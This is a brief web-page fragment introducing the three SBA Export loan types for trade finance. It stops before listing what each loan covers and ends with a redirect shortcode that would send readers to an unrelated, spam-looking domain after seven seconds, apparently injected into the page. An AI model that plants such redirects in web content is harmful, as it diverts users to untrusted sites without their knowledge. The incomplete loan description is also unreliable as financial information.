Trade finance under the SBA Export loan program is broken up into three types of loans, but they all have the same goal. The aim is to expand international trade and export activities. Here is what each loan within the SBA Export program can be used for: [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]